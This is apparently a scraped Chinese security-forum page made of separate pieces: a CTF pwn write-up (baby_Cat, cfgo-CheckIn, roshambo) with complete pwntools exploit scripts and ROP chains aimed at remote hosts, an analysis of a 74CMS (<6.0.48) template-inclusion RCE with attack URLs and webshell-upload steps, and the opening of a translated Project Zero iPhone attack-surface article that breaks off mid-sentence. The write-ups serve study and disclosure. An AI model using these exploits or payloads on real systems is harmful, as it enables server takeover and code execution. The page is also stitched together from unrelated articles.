private unsafe void Backdoor(char* args)
{
Console.WriteLine("I'll give you flag!");
string str = "type C:\\flag.txt";
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardInput = true;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.CreateNoWindow = true;
process.Start();
process.StandardInput.WriteLine(str + "&exit");
process.StandardInput.AutoFlush = true;
string value = process.StandardOutput.ReadToEnd();
process.WaitForExit();
process.Kill();
Console.WriteLine(value);
}
也就是说，只要让程序流走到`msgHandler2`的位置也就是`Backdoor`，就能拿到flag了。
5. 于是只要利用输入覆盖`ptr[50]`也就是`index`，使其指向内存中`&num - 1`，那么下一次就能覆盖`num = 0`，从而执行`Backdoor`。
6. 而找到`ptr`到`&num`的偏移，这里需要借助动态调试，利用dnSpy attach到baby_Cat.exe进程，直接查看内存计算偏移：`31 00 31 00...`即`ptr`的位置，`01 00 00 00`即`num`的位置，从而得到偏移为`(0x337F1F0 - 0x337F118) / 2 - 1 = 0x6B`。
7. 因此只要构造覆盖`ptr[50]`为`0x6C`，然后再输入`\x00`，即可执行到`Backdoor`，获得flag：
8. exp
from pwn import *
p = remote('111.73.46.229', 51000)
context.log_level = 'debug'
payload = "A" * 50 + chr(0x6b) + '\x00'
p.sendline(payload)
p.recv()
p.sendline('y')
p.recv()
p.sendline('\x00')
p.interactive()
## cfgo-CheckIn
### 解题思路
1. 首先binary是upx加壳的，直接`upx -d cfgo-checkin`拿到脱壳后的程序拖到IDA分析，发现是个go，尝试用[IDAGoHelper](https://github.com/sibears/IDAGolangHelper)恢复符号表，但恢复出来跟没恢复一样；那就直接跑看看：
2. 100个迷宫，直接写个脚本去解，因为开始做题并没有去逆向binary，而是直接通过收到的字符串判断起点和终点的符号，这里有个坑，就是代表起点和终点的字符是变化的，并不是某个特定的字符，由于是4 bytes编码的字符，其后两位都可能变化。
3. 解出100个迷宫之后，可以输入一串字符串：本能地输入很长的字符串之后，程序就crash了，打印出了crash的路径，这里其实也可以看到，之前说的恢复符号表依然是乱七八糟的字符，其实是正确的，从这个crash的函数也可以看出来，从而可以辅助定位关键函数的位置。
4. 后面的基本就靠猜了，首先这个crash是由于`malloc`的size过大而造成的，可以推断出stack上储存了size的临时变量，那么只要在overflow的时候尽量不破坏其他有效的变量信息，而是直接覆盖return address，就能控制程序流了。
5. 后面经过不断地试错尝试，以及根据crash的信息辅助推断，最后确定return address的`offset = 0x110`；以及在`offset = 0x70`的位置储存的是一个指针，后续程序复读输入的字符串就是用的这个指针输出；同时size信息储存在`offset = 0x78`的位置，只要给一个合理的值即可。
6. 至此，还有一个问题就是，程序开了PIE，需要leak PIE，根据前一步说的，控制`offset = 0x70`就可以leak 内存中的数据。于是，根据binary的特性，可以看到stack始终是在`0xc000000000`开始的这段内存中，其中`0xc000000030`正好储存着binary代码段的地址，因此PIE可以leak了
7. leak完PIE之后，显然需要继续执行binary才能达到溢出的目的，所以需要覆盖return address实现二次执行的目的，而因为这个时候并没有leak出PIE地址，所以只能通过partial overwrite的方式覆盖ret address的最后一个bytes。其实这时可以通过查找字符串需要主逻辑的地址，也就是”Leave your name:”，这里有个坑就是IDA直接搜字符串搜不到，可能因为没有解析到，通过二进制搜索可以定位到字符串的地址为`0x11EECE：根据引用找到关键函数`nArxBHup`，这里就是输出”Leave your name:”，然后接受输入，最后再复读的逻辑
而比较幸运的是：
这里有个`call
nArxBHup`的逻辑，而且正好只需要改掉地址最后一个byte为`\xCE`即可，那么这样就能再次利用栈溢出实现后续getshell的rop了
8. 因此，总结一下，第一次利用`offset = 0x70`处的指针leak PIE，并且partial write return address返回到`nArxBHup`从而提供再次利用栈溢出的机会；第二次直接在return address布置rop getshell：
9. exp
from pwn import *
p = remote('81.68.174.63', 62176)
# context.log_level = 'debug'
context.arch = 'amd64'
def convert_to_maze(input):
strings = input.split('\n')
row = 0
maze = []
for string in strings:
i = 0
col = 0
maze_row = []
while i < len(string):
if string[i:].startswith('\xf0\x9f\x98')\
or string[i:].startswith('\xf0\x9f\x99')\
or string[i:].startswith('\xf0\x9f\x90')\
or string[i:].startswith('\xf0\x9f\x8D'):
start = [row, col]
maze_row.append(1)
i += 4
elif string[i:].startswith('\xf0\x9f\x9a')\
or string[i:].startswith('\xf0\x9f\x99'):
end = [row, col]
maze_row.append(1)
i += 4
elif string[i:].startswith('\xe2\xac\x9b'):
maze_row.append(0)
i += 3
elif string[i:].startswith('\xe2\xac\x9c'):
maze_row.append(1)
i += 3
elif len(string[i:]) < 3:
maze_row.append(0)
break
else:
print(string[i:i+4].encode('hex'))
print("error input")
exit(0)
col += 1
maze.append(maze_row)
row += 1
return start, maze, end
def solve_maze(level):
p.recvline()
input_maze = ""
times = 0
while times <= level + 5:
string_get = p.recvline()
input_maze += string_get
times += 1
# print(input_maze)
start, maze, end = convert_to_maze(input_maze)
sol = []
if mov(start[0], start[1], maze, end, sol) == False:
print("No solution")
exit(0)
p.sendline(''.join(sol[::-1]))
def mov(row, col, maze, end, sol):
if row == end[0] and col == end[1]:
return True
maze[row][col] = 0
row_size = len(maze)
col_size = len(maze[row])
if col < col_size and row + 1 < row_size and maze[row + 1][col] == 1:
if mov(row + 1, col, maze, end, sol) == True:
sol.append('s')
return True
if col < col_size and row - 1 >= 0 and maze[row - 1][col] == 1:
if mov(row - 1, col, maze, end, sol) == True:
sol.append('w')
return True
if col + 1 < col_size and maze[row][col + 1] == 1:
if mov(row, col + 1, maze, end, sol) == True:
sol.append('d')
return True
if col - 1 >= 0 and maze[row][col - 1] == 1:
if mov(row, col - 1, maze, end, sol) == True:
sol.append('a')
return True
maze[row][col] = 1
return False
for i in range(100):
solve_maze(i)
print("Done " + str(i))
offset = 112
ret_address = 0x158
payload = 'A' * 112 + p64(0xc000000030) + p64(0x40) + 'A' * 0x90 + '\xCE'
p.sendline(payload)
p.recvuntil('Your name is : ')
PIE_base = u64(p.recv(6).ljust(8, "\x00")) - 0x206ac0
pop_rsp = 0x000000000008872e # pop rsp ; ret
pop_rdi = 0x0000000000109d3d # pop rdi ; ret
pop_rsi = 0x0000000000119c45 # pop rsi ; pop r15 ; ret
pop_rax = 0x0000000000074e29 # pop rax ; ret
syscall = 0x00000000000743c9 # syscall
input_addr = 0x000000c00003edf8
payload = 'A' * 112 + p64(0xc000000030) + p64(0x40) + 'A' * 0x90
payload += flat([PIE_base + pop_rax, 0x3b])
payload += flat([PIE_base + pop_rdi, 0x000000c000044ec8])
payload += flat([PIE_base + pop_rsi, 0, 0])
payload += flat([PIE_base + syscall])
payload += "/bin/sh\x00"
p.sendline(payload)
success("PIE_base: " + hex(PIE_base))
p.interactive()
## roshambo
### 解题思路
1. 首先这个看起来挺复杂，其实仔细分析一下，可以理解为一个简单的游戏对战客户端，其中：
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
init_buffer();
hook_exit();
create_file();
open_file();
sandbox();
recv_client();
puts("Welcome to WMCTF!");
puts("Roshambo is a good game!");
puts("Have fun!");
while ( 1 )
client();
}
`main`函数下，关注`recv_client`和`client`这两个函数，分别对应两个线程，一个是接受另一个客户端的消息并作出相应的动作，一个是本地客户端，用来向其他客户端发出动作，至于如何实现的客户端也就是进程间的通信，程序采用的是管道的方式，也就是通过`mkfifo`，经过文件实现进程间的通信：
int sub_1E55()
{
int result; // eax
if ( !(unsigned int)check_input() )
{
puts("pipe filename is wrong!");
quit();
}
strcat(file, "/tmp/");
strcat(file, sha256_auth);
strcat(name, file);
strcat(name, "_GUEST");
if ( access(file, 0) == -1 )
{
file_fifo = mkfifo(file, 0x1FFu);
if ( file_fifo )
{
fwrite("Could not create fifo!\n", 1uLL, 0x17uLL, stderr);
exit(-1);
}
}
if ( access(name, 0) == -1 )
{
file_fifo = mkfifo(name, 0x1FFu);
if ( file_fifo )
{
fwrite("Could not create fifo!\n", 1uLL, 0x17uLL, stderr);
exit(-1);
}
}
file_file[0] = open(file, 1);
result = open(name, 0);
name_file = result;
return result;
}
而这个函数逻辑只有在Mode C的情况下（程序提供两种模式：C & L）才会调用，也就是说必须有一个C和一个L才能互相通信，而文件名是Mode
C下通过对输入的`Authentication`进行`sha256`计算得到的，所以另一个Mode
L只要通过在输入`room`时输入这个sha256值就能建立起连接。
至于交互的细节，可以在`recv_client`中看到：
void __fastcall __noreturn start_routine(void *a1)
{
_BOOL4 v1; // eax
char s; // [rsp+10h] [rbp-1010h]
size_t nbytes; // [rsp+20h] [rbp-1000h]
__int64 v4; // [rsp+48h] [rbp-FD8h]
unsigned __int64 v5; // [rsp+1018h] [rbp-8h]
v5 = __readfsqword(0x28u);
memset(&s, 0, 0x1000uLL);
while ( !mode_is_L || mode_is_L == 1 )
{
read(file_file[mode_is_L == 0], &s, 0x38uLL);
read(file_file[mode_is_L == 0], &v4, nbytes);
v1 = cmp_with__RPC_(&s);
if ( v1 )
play_game((__int64)&s);
memset(&s, 0, 0x1000uLL);
sleep(1u);
}
quit();
}
类比成一个最长为0x1000 bytes的数据包，格式如下：
+--------+--------+----------+--------+----------+
| 8 | 8 | 8 | 32 | name_len |
+--------+--------+----------+--------+----------+
| status | option | name_len | sha256 | name |
+--------+--------+----------+--------+----------+
status： "[RPC]" or "EXIT"
option: [1 - 8]
只有在`status`为”[RPC]”，另一个client才会做出相应的动作，而至于`name_Len`开始的位置，后续基本没有用到，可以不用管；对于`option`，关注`client`函数中的相应逻辑，重点关注`case
8`：
void sub_2424()
{
unsigned int v0; // eax
unsigned int v1; // eax
unsigned int size; // [rsp+4h] [rbp-Ch]
char *size_4; // [rsp+8h] [rbp-8h]
size_4 = (char *)malloc(0x1000uLL);
memset(size_4, 0, 0x1000uLL);
sleep(1u);
printf("%s >> ", &name_str[32 * mode_is_L]);
read(0, size_4, 0x1000uLL);
if ( !strncmp(size_4, "EXIT", 4uLL) )
exit(0);
if ( *((_QWORD *)size_4 + 1) != 8LL || game_status != 1 )
{
switch ( *((_QWORD *)size_4 + 1) )
{
case 1LL:
if ( !game_status_remote )
{
strcpy(size_4 + 56, (const char *)&name_str[32 * mode_is_L]);
*((_QWORD *)size_4 + 2) = strlen((const char *)&name_str[32 * mode_is_L]);
sha256((__int64)(size_4 + 24), (__int64)(size_4 + 56), *((_QWORD *)size_4 + 2));
break;
}
return;
case 3LL:
print_info((__int64)&name_str[32 * mode_is_L], (__int64)(size_4 + 56));
break;
case 4LL:
if ( game_status == 1 )
{
puts("Game is starting..");
}
else
{
game_status = 1;
puts("Game start!");
game_status_remote = 1;
}
break;
case 5LL:
if ( game_status_remote != 1 || game_status != 1 )
return;
prepared[mode_is_L] = 1;
printf(">> You choose %s\n", &aRock[16 * prepared[mode_is_L] - 16]);
++play_times;
if ( prepared[mode_is_L == 0] )
play();
else
game_status_remote = 2;
break;
case 6LL:
if ( game_status_remote != 1 || game_status != 1 )
return;
prepared[mode_is_L] = 2;
printf(">> You choose %s\n", &aRock[16 * prepared[mode_is_L] - 16]);
++play_times;
if ( prepared[mode_is_L == 0] )
play();
else
game_status_remote = 2;
break;
case 7LL:
if ( game_status_remote != 1 || game_status != 1 )
return;
prepared[mode_is_L] = 3;
printf(">> You choose %s\n", &aRock[16 * prepared[mode_is_L] - 16]);
++play_times;
if ( prepared[mode_is_L == 0] )
play();
else
game_status_remote = 2;
break;
default:
break;
}
v1 = get_length((__int64)size_4);
write(file_file[mode_is_L], size_4, v1);
free(size_4);
}
else
{
print_game_result();
v0 = get_length((__int64)size_4);
write(file_file[mode_is_L], size_4, v0);
free(size_4);
printf("size: ");
size = read_n();
if ( size > 0x100 )
{
puts("Too big!");
exit(-1);
}
ptr = malloc(size);
printf("what do you want to say? ");
read(0, ptr, size - 1);
printf("leave: %s", ptr);
free(ptr);
}
}
可以看到`case 8`就是结束游戏，然后留言的功能，进入这个case的前提是游戏已经开始过。
2. 同时还要注意的是，存在一个sandbox，禁用了`execve`，那么只能orw了：
3. 理清逻辑之后，可以开始利用了。关键在于这个`case 8`，接受size的时候，只检查`size > 0x100`，而当`size = 0`的时候，`malloc`会分配0x20 bytes，而注意到`read(0, ptr, size - 1);`，size – 1造成负整数溢出，从而这里存在一个堆溢出。
4. 知道这一点之后就很简单了，利用heap overflow伪造unsorted bin，利用unsorted bin来leak libc；再tcache poisoning，分配`__free_hook`就能改了；之后就是常规套路，改`__free_hook`为`setcontext + 53`的同时，布置好rop即可；最后触发free的时候就读到flag了：
5. 不过从这个flag来看，最后感觉是不是非预期了啊，确实很多东西都没用到。不过还有一个存在漏洞的点，就是`recv_client`：
void __fastcall sub_15CE(__int64 a1)
{
unsigned int size; // [rsp+1Ch] [rbp-4h]
switch ( *(_QWORD *)(a1 + 8) )
{
case 1LL:
if ( (unsigned int)check_hash(a1) )
{
printf("[Enter Game] Player Name: %s \n\n", a1 + 56);
strncpy((char *)&name_str[32 * (mode_is_L == 0)], (const char *)(a1 + 56), 0x20uLL);
add_player_info();
}
break;
case 2LL:
if ( (unsigned int)check_hash(a1) )
{
printf("[Enter Game] Player Name: %s \n\n", a1 + 56);
strncpy((char *)&name_str[32 * (mode_is_L == 0)], (const char *)(a1 + 56), 0x20uLL);
}
break;
case 3LL:
if ( *(_QWORD *)(a1 + 16) <= 0x100uLL )
{
ptr = malloc(*(_QWORD *)(a1 + 16));
memcpy(ptr, (const void *)(a1 + 56), *(_QWORD *)(a1 + 16));
print_info((__int64)&name_str[32 * (mode_is_L == 0)], (__int64)ptr);
sleep(2u);
free(ptr);
}
break;
case 4LL:
puts("Game start!");
game_status = 1;
game_status_remote = 1;
break;
case 5LL:
printf("[%s]: I'm prepared\n", &name_str[32 * (mode_is_L == 0)]);
prepared[mode_is_L == 0] = 1;
if ( prepared[mode_is_L] )
play();
break;
case 6LL:
printf("[%s]: I'm prepared\n", &name_str[32 * (mode_is_L == 0)]);
prepared[mode_is_L == 0] = 2;
if ( prepared[mode_is_L] )
play();
break;
case 7LL:
printf("[%s]: I'm prepared\n", &name_str[32 * (mode_is_L == 0)]);
prepared[mode_is_L == 0] = 3;
if ( prepared[mode_is_L] )
play();
break;
case 8LL:
print_game_result();
printf("size: ");
size = read_n(); // integer overflow =============================================
if ( size > 0x100 )
{
puts("Too big!");
exit(-1);
}
ptr = malloc(size);
memset(ptr, 0, size);
printf("what do you want to say? ");
read(0, ptr, size - 1);
printf("leave: %s", ptr);
free(ptr);
break;
default:
return;
}
}
在`case 3`这里，先是分配了一个chunk给了`ptr`，这与`case
8`中的`ptr`是一致的，同时这里在`free`之前还`sleep(2)`，也就是说，在这2s之内，如果另一个线程`client`也分配了一个chunk写入`ptr`，那么这里就有一个tcache
double free。（这里没有验证过，有兴趣的可以自行尝试）
6. exp
'''pwn_roshambo_C.py'''
from pwn import *
p = remote('81.68.174.63', 64681)
libc = ELF("./libc.so.6")
main_arena_offset = 0x3ec0d0
__free_hook_offset = libc.symbols["__free_hook"]
setcontext_offset = libc.sym['setcontext']
context.log_level = 'debug'
context.arch = 'amd64'
def start(auth, name):
p.sendlineafter('Your Mode: ', 'C')
p.sendlineafter("Authorization: ", auth)
p.sendlineafter("Your Name: ", name)
def choose(status, case, name_len=0, hash_data="", name="", token=" >> "):
payload = status.ljust(8, "\x00") + p64(case)
if name_len != 0:
payload += p64(name_len) + hash_data + name
p.sendlineafter(token, payload)
def say(size, content):
p.sendlineafter("size: ", str(size))
p.sendlineafter("what do you want to say? ", content)
start('123', '123')
choose('[RPC]', 8, token="Game start!")
say(0x18, 'test')
choose('[RPC]', 8, token="Game start!")
say(0xF8, 'test')
choose('[RPC]', 8, token="Game start!")
say(0x28, 'test')
choose('[RPC]', 8, token="Game start!")
say(0x0, "A" * 0x118 + p64(0x501)) # unsorted bin
choose('[RPC]', 8, 0x700, '', (p64(0x21) + p64(0)) * 0x65, token="Game start!")
say(0x28, "AAAA") # free unsorted bin
choose('[RPC]', 8, token="Game start!")
say(0x0, "A" * 0x117 + "libcaddr") # leak
p.recvuntil("libcaddr\n")
main_arena = u64(p.recv(6).ljust(8, "\x00"))
libc_base = main_arena - main_arena_offset
__free_hook = libc_base + __free_hook_offset
libc_setcontext = libc_base + setcontext_offset
# tcahe poisoning
choose('[RPC]', 8, token="Game start!")
say(0, "A" * 0x18 + p64(0xF1) + p64(__free_hook))
choose('[RPC]', 8, token="Game start!")
say(0xF8, "AAAA")
# orw
pop_rdi = libc_base + 0x000000000002155f # pop rdi ; ret
pop_rsi = libc_base + 0x0000000000023e6a # pop rsi ; ret
pop_rdx = libc_base + 0x0000000000001b96 # pop rdx ; ret
libc_open = libc_base + libc.sym['open']
libc_read = libc_base + libc.sym['read']
libc_write = libc_base + libc.sym['write']
payload = p64(libc_setcontext + 53)
payload += flat([__free_hook + 0xB0, pop_rsi, 0, libc_open]) # 0x20
payload += flat([pop_rdi, 5, pop_rsi, __free_hook + 0xC0, pop_rdx, 0x30, libc_read]) # 0x38
payload += flat([pop_rdi, 1, pop_rsi, __free_hook + 0xC0, pop_rdx, 0x30, libc_write]) # 0x38
payload += p64(0)
payload += flat([__free_hook + 8, pop_rdi])
payload += 'flag\x00'
choose('[RPC]', 8, token="Game start!")
say(0xF8, payload)
success("libc_base: " + hex(libc_base))
p.interactive()
'''pwn_roshambo_L.py'''
from pwn import *
p = remote('81.68.174.63', 64681)
context.log_level = 'debug'
def start(room, name):
p.sendlineafter('Your Mode: ', 'L')
p.sendlineafter("Your room: ", room)
p.sendlineafter("Your Name: ", name)
def choose(status, case, name_len=0, hash_data="", name=""):
payload = status.ljust(8, "\x00") + p64(case)
if name_len != 0:
payload += p64(name_len) + hash_data + name
p.sendlineafter(" >> ", payload)
def say(size, content):
p.sendlineafter("size: ", str(size))
p.sendlineafter("what do you want to say? ", content)
start(sys.argv[1], '123')
for i in range(10):
choose('[RPC]', 4)
say(0x18, 'test')
p.interactive() | 社区文章 |
# 骑士CMS模板包含漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00简介
骑士CMS人才系统，是一项基于PHP+MYSQL为核心开发的一套免费开源专业人才网站系统。
## 0x01漏洞概述
骑士 CMS 官方发布安全更新，修复了一处远程代码执行漏洞。由于骑士 CMS
某些函数存在过滤不严格，攻击者通过构造恶意请求，配合文件包含漏洞可在无需登录的情况下执行任意代码，控制服务器。
## 0x02影响版本
骑士 CMS < 6.0.48
## 0x03漏洞分析
漏洞入口点为：\Application\Common\Controller\BaseController.class.php 中的
assign_resume_tpl 方法
/**
* 渲染简历模板
*/
public function assign_resume_tpl($variable,$tpl){
foreach ($variable as $key => $value) {
$this->assign($key,$value);
}
return $this->fetch($tpl);
}
此函数可控(但其传参方式不是通过ThinkPHP的m,c,a进行直接传参，后续漏洞复现板块将介绍 )。现在，暂时先跟进传入的 $tpl 参数会进入的
fetch( ) 方法
public function fetch($templateFile='',$content='',$prefix='') {
if(empty($content)) {
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
}else{
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
// 页面缓存
ob_start();
ob_implicit_flush(0);
if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
}
// 获取并清空缓存
$content = ob_get_clean();
// 内容过滤标签
Hook::listen('view_filter',$content);
// 输出模板文件
return $content;
}
首先判断传入的文件是否为空 因为我们是直接传参，无content内容
接着他便会解析当前路径是否存在，不存在则进行exception(此处会暴露当前的路径信息)，存在则将此路径赋给’THEME_PATH’配置信息
if(empty($content)) {
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
}else{
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
由于74CMS使用的ThinkPHP框架，其默认的模板类型为 Think 所以我们进入判断，并继续进入
Hook::listen(‘view_parse’,$params)，其实际上是个执行相应插件并记录日志的函数
foreach (self::$tags[$tag] as $name) {
APP_DEBUG && G($name.'_start');
$result = self::exec($name, $tag,$params);
if(APP_DEBUG){
G($name.'_end');
trace('Run '.$name.' [ RunTime:'.G($name.'_start',$name.'_end',6).'s ]','','INFO');
}
if(false === $result) {
// 如果返回false 则中断插件执行
return ;
}
}
这里继续说一下exec会通过判断插件名是否以 Behavior 结尾，来决定是否调用其 run 方法
static public function exec($name, $tag,&$params=NULL) {
if('Behavior' == substr($name,-8) ){
// 行为扩展必须用run入口方法
$tag = 'run';
}
$addon = new $name();
return $addon->$tag($params);
}
在 \ThinkPHP\Mode\common.php 文件中我们可以看到 view_parse 对应的值实际为
Behavior\ParseTemplateBehavior 所以我们继续跟进其 run 方法
public function run(&$_data){
$engine = strtolower(C('TMPL_ENGINE_TYPE'));
$_content = empty($_data['content'])?$_data['file']:$_data['content'];
$_data['prefix'] = !empty($_data['prefix'])?$_data['prefix']:C('TMPL_CACHE_PREFIX');
if('think'==$engine){ // 采用Think模板引擎
if((!empty($_data['content'])
&& $this->checkContentCache($_data['content'],$_data['prefix']))
|| $this->checkCache($_data['file'],$_data['prefix'])) // 缓存有效
{ //载入模版缓存文件
Storage::load(C('CACHE_PATH').$_data['prefix']
.md5($_content).C('TMPL_CACHFILE_SUFFIX'),$_data['var']);
}else{
$tpl = Think::instance('Think\\Template');
// 编译并加载模板文件
$tpl->fetch($_content,$_data['var'],$_data['prefix']);
}
可以看到他实际上是个解析模板并输出的方法，因为我们第一次访问的时候不会有缓存存在所以只需要关注 $tpl->fetch
public function fetch($templateFile,$templateVar,$prefix='') {
$this->tVar = $templateVar;
$templateCacheFile = $this->loadTemplate($templateFile,$prefix);
Storage::load($templateCacheFile,$this->tVar,null,'tpl');
}
在此处经过 loadTemplate 对需要访问的文件进行一定的安全处理后就会进入我们的重头戏
public function loadTemplate ($templateFile,$prefix='') {
if(is_file($templateFile)) {
$this->templateFile = $templateFile;
// 读取模板文件内容
$tmplContent = file_get_contents($templateFile);
}else{
$tmplContent = $templateFile;
}
//省略部分代码
}
// 编译模板内容
$tmplContent = $this->compiler($tmplContent);
Storage::put($tmplCacheFile,trim($tmplContent),'tpl');
return $tmplCacheFile;
}
protected function compiler($tmplContent) {
//模板解析
$tmplContent = $this->parse($tmplContent);
// 还原被替换的Literal标签
$tmplContent = preg_replace_callback('/<!--###literal(\d+)###-->/is', array($this, 'restoreLiteral'), $tmplContent);
// 添加安全代码
$tmplContent = '<?php if (!defined(\'THINK_PATH\')) exit();?>'.$tmplContent;
// 优化生成的php代码
$tmplContent = str_replace('?><?php','',$tmplContent);
// 模版编译过滤标签
Hook::listen('template_filter',$tmplContent);
return strip_whitespace($tmplContent);
}
在这里我们需要额外关注一下 $tmplContent = $this->parse($tmplContent)
这块会对模板的标签进行解析，如果解析失败会无法显示正常页面，所以我们传入的文件必须包含规范的标签
接着就会走进我们的 Storage::load 的逻辑，查看 Storage 的类方法 load。注意，此处是个静态方法调用
class Storage {
/**
* 操作句柄
* @var string
* @access protected
*/
static protected $handler ;
/**
* 连接分布式文件系统
* @access public
* @param string $type 文件类型
* @param array $options 配置数组
* @return void
*/
static public function connect($type='File',$options=array()) {
$class = 'Think\\Storage\\Driver\\'.ucwords($type);
self::$handler = new $class($options);
}
static public function __callstatic($method,$args){
//调用缓存驱动的方法
if(method_exists(self::$handler, $method)){
return call_user_func_array(array(self::$handler,$method), $args);
}
}
}
我们实际上会调用到ThinkPHP\Library\Think\Storage\Driver\File.class.php 中的 load方法
public function load($_filename,$vars=null){
if(!is_null($vars)){
extract($vars, EXTR_OVERWRITE);
}
include $_filename;
}
可以看到此处直接用 include 包含了我们上传的文件
## 0x04漏洞复现
由上述分析可知，我们只需向 assign_resume_tpl 中的 tpl 参数传入我们现存的文件路径，74CMS 经过安全处理后就会对其进行文件包含。
具体复现漏洞所需条件：
1. 上传包含需要执行的命令和模板标签的文件
2. 获取文件的位置
3. 精心构造Payload去包含相应文件
### 1.通过日志包含
我们都知道 74CMS 的日志默认保存位置为 data/Runtime/Logs/Home/Y_M_D.log
那么我们可以通过先让日志中产生我们想执行的php代码+模板标签，后通过请求去包含相关日志文件
#### step1 通过非法请求产生日志
当我们直接用ThinkPHP框架的传参方法 m=common&c=base&a=assign_resume_tpl&variable=1&tpl=1
会发现common模块是不可访问的，而当传递m=home&a=assign_resume_tpl时经过反射调用最终会调用到我们想要调用的方法。
74cms.net/index.php?m=home&a=assign_resume_tpl&variable=1&tpl=<?php phpinfo(); ob_flush();?>/r/n<qsCMS/company_show 列表名="info" 企业id="$_GET['id']"/>
Ps：后半部分合法的模板标签可以在
/Application/Home/View/tpl_company/default/com_jobs_list.html 中看到
接着我们可以看到后台已经产生了相应的日志文件
#### step2 通过非法请求包含日志
我们将日志文件的路径传入tpl参数，即可让页面包含此文件执行我们想要执行的代码
74cms.net/index.php?m=home&a=assign_resume_tpl&variable=1&tpl=./data/Runtime/Logs/Home/21_01_20.log
执行成功！
### 2.通过图片简历上传包
#### step1 账号注册
在简历更新板块可以上传图片且获取其上传路径，但是需要我们先注册一个账号
如果是在本地虚拟环境搭建 74CMS
系统，会发现因为api校验不通过而无法获取手机验证码注册，但可以通过注释Application\Common\Common\function.php 的
verify_mobile 中的代码取消验证码验证
function verify_mobile($mobile,$smsVerify,$vcode_sms){
// if(!$vcode_sms) return '请输入验证码！';
// $verify_num = session('_verify_num_check');
// if($verify_num >= C('VERIFY_NUM_CHECK')) return '非法操作！';
// if(!fieldRegex($mobile, 'mobile')) return '手机号格式错误！';
// if(!$smsVerify) return '短信验证码错误！';
// if($mobile != $smsVerify['mobile']) return '手机号不一致！';
// if(time() > $smsVerify['time'] + 600) return '短信验证码已过期！';
// $mobile_rand = substr(md5($vcode_sms), 8, 16);
// if($mobile_rand != $smsVerify['rand']){
// session('_verify_num_check',++$verify_num);
// return '短信验证码错误！';
// }
// session('_verify_num_check',null);
return true;
}
#### step2 构造图片马并上传
注册完成账号之后就可以在简历界面上传自己构造的图片马，需要注意的是图片马也需要包含上文中的模板标签
#### step3 构造请求访问此文件
构造上文类似的 Payload 去包含此文件即可执行恶意代码
74cms.net/index.php?m=home&a=assign_resume_tpl&variable=1&tpl=./data/upload/resume_img/2101/21/6008e8636d20e.png
### 3.通过文档简历上传
与方法2中的图片马一样，只是此处需要上传的是 doc 文件
## 0x05漏洞修复
官方发布的补丁程序有两处
#### 1.BaseController
在 /Application/Common/Controller/BaseController.class.php 中的 assign_resume_tpl
增添了如下判断
public function assign_resume_tpl($variable,$tpl){
foreach ($variable as $key => $value) {
$this->assign($key,$value);
}
if(!is_file($tpl)){
return false;
}
return $this->fetch($tpl);
}
#### 2.Think/View
在 /ThinkPHP/Library/Think/View 中的 fetch 删除了对访问路径的日志和回显
if(empty($content)) {
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
// if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_'));
}else{
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
但其实补丁程序的这两处对于图片和文档的包含上传是没有影响的 | 社区文章 |
> 本文是翻译文章，原文链接：<https://googleprojectzero.blogspot.com/2019/08/the-fully-> remote-attack-surface-of.html>
>
> 原文名：The Fully Remote Attack Surface of the iPhone
虽然过去几年里有一些关于iPhone被攻击者使用的 **完全远程漏洞(fully remote vulnerabilities)**
的谣言和报道，但有关这些漏洞的技术细节以及它们发生的潜在攻击面的信息有限，我调查了iPhone的远程、无交互攻击面，并发现了几个严重的漏洞
当攻击者不需要任何物理或网络接近目标以便能够利用此漏洞时，漏洞被视为`远程`。远程漏洞被描述为`完全远程`，`无交互`或`零点击`，它们不需要来自目标的任何物理交互，并且实时工作。我专注于远程访问iPhone的攻击面，不需要任何用户交互并立即处理输入
iPhone有几个具有这些特点的攻击面，包括`SMS,MMS,VVM,Email和Message`
# SMS(短信)
短信似乎是一个很好的切入点，因为我在[过去](https://googleprojectzero.blogspot.com/2019/03/android-messaging-few-bugs-short-of.html)研究过短信在Android上的攻击面。与Android不同，iPhone的本地代码处理SMS消息，这增加了出现内存破坏类漏洞的可能性。`SMS数据包数据单元(PDU)`由二进制文件`CommCenter`使用方法`sms::Controller::parseRawBytes`进行解析，该方法创建包含消息详细信息的类`sms::Model`，该实例最终被`sms::Controller::processReceivedSms_sync`处理，它还处理一些其它内容并将消息发送到对应的其他进程。我分析了这两种方法，但是没有发现任何漏洞。
我还注意到`CommCenter`包含一个可以通过`XPC`触发的SMS模拟器，此工具处理SMS传送PDU，就像它们通过网络到达一样。模拟器缺少一些库，这些库可能存在于内部测试设备上。因此我自己编写了一个库，它实现了使模拟器工作所需的功能。此工具可在[此处获得](https://github.com/googleprojectzero/iOS-messaging-tools/tree/master/SmsSimulator)，使用该工具对短信进行fuzz并未发现任何漏洞。
# MMS
MMS消息也由`CommCenter`处理，大部分处理在`MmsOperation::decodeMessage`方法中执行。我使用IDA审查了这个方法，并通过编写在iOS中调用此方法的app来fuzz它，但是也都没有发现任何漏洞
# Visual Voicemail(可视语音邮件)
在查看`sms::Controller::processReceivedSms_sync`方法时，我注意到此方法将许多特殊格式的SMS消息转发到其它进程，一个看起来很有趣的地方是`Visual
